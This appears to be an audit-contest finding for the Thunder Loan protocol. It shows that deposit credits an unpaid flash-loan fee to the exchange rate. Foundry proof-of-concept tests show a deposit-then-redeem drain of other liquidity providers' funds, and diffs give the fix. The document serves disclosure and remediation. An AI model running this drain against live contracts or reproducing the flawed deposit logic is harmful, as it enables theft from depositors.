Thunder Loan
AI First Flight #7
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EXP
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Submission Details
Severity: high
Valid

`deposit` credits a flash-loan fee that is never paid, making the pool instantly insolvent

wildphantom
`ThunderLoan::deposit` raises the `AssetToken` exchange rate as though a flash-loan fee had been
collected, but the only value transferred into the pool is the depositor's principal. Share price
therefore rises against money that never arrived, and the pool is under-collateralised from the very
first deposit.
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
@> uint256 calculatedFee = getCalculatedFee(token, amount); // prices a flash loan of this size
@> assetToken.updateExchangeRate(calculatedFee); // ...and credits it as revenue
token.safeTransferFrom(msg.sender, address(assetToken), amount); // only `amount` arrives
}

RISK:

The aggregate claim `totalSupply * exchangeRate / 1e18` exceeds the pool's real holdings immediately.
Two direct consequences:
​
1. **A lone depositor cannot withdraw their own deposit.** Deposit `1000e18`; the rate becomes
`1.003e18`; `redeem` computes `1003e18` against a pool holding exactly `1000e18` and reverts on
underflow inside the underlying ERC20.
2. **A deposit-then-redeem round trip is risk-free profit**, paid out of other LPs' principal.
Measured: `500249376558603189` wei (~0.5 token) on a `1000e18` deposit into a `5000e18` pool.
​
Redemption becomes first-come-first-served; the last LP to exit absorbs the entire shortfall

Proof of Concept

Ran tests

`test_H1_soloDepositorCannotRedeem` and `test_H1_depositRedeemRoundTripProfit`
```
[PASS] test_H1_depositRedeemRoundTripProfit()
risk-free profit (wei): 500249376558603189
[PASS] test_H1_soloDepositorCannotRedeem()
```
function test_H1_soloDepositorCannotRedeem() public {
_fund(lp, LP_DEPOSIT);
​
vm.prank(lp);
thunderLoan.deposit(tokenA, LP_DEPOSIT);
​
AssetToken at = thunderLoan.getAssetFromToken(tokenA);
​
// Pool holds exactly the principal...
assertEq(tokenA.balanceOf(address(at)), LP_DEPOSIT);
// ...but the rate was raised as though a 3e18 fee had arrived.
assertEq(at.getExchangeRate(), 1.003e18);
// So the LP's claim exceeds what the pool holds.
uint256 claim = at.balanceOf(lp) * at.getExchangeRate() / at.EXCHANGE_RATE_PRECISION();
assertEq(claim, 1003e18);
assertGt(claim, tokenA.balanceOf(address(at)));
​
// The redemption therefore underflows inside the underlying ERC20.
vm.prank(lp);
vm.expectRevert();
thunderLoan.redeem(tokenA, type(uint256).max);
}
​
​
function test_H1_depositRedeemRoundTripProfit() public {
_fund(lp, 5000e18);
vm.prank(lp);
thunderLoan.deposit(tokenA, 5000e18);
​
_fund(attacker, LP_DEPOSIT);
uint256 before = tokenA.balanceOf(attacker);
​
vm.startPrank(attacker);
thunderLoan.deposit(tokenA, LP_DEPOSIT);
thunderLoan.redeem(tokenA, type(uint256).max);
vm.stopPrank();
​
uint256 profit = tokenA.balanceOf(attacker) - before;
console.log("risk-free profit (wei):", profit);
assertGt(profit, 0, "deposit->redeem round trip must not be profitable");
}

Recommended Mitigation

Remove the fee accrual from `deposit`, exactly as V2 already does:
```diff
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

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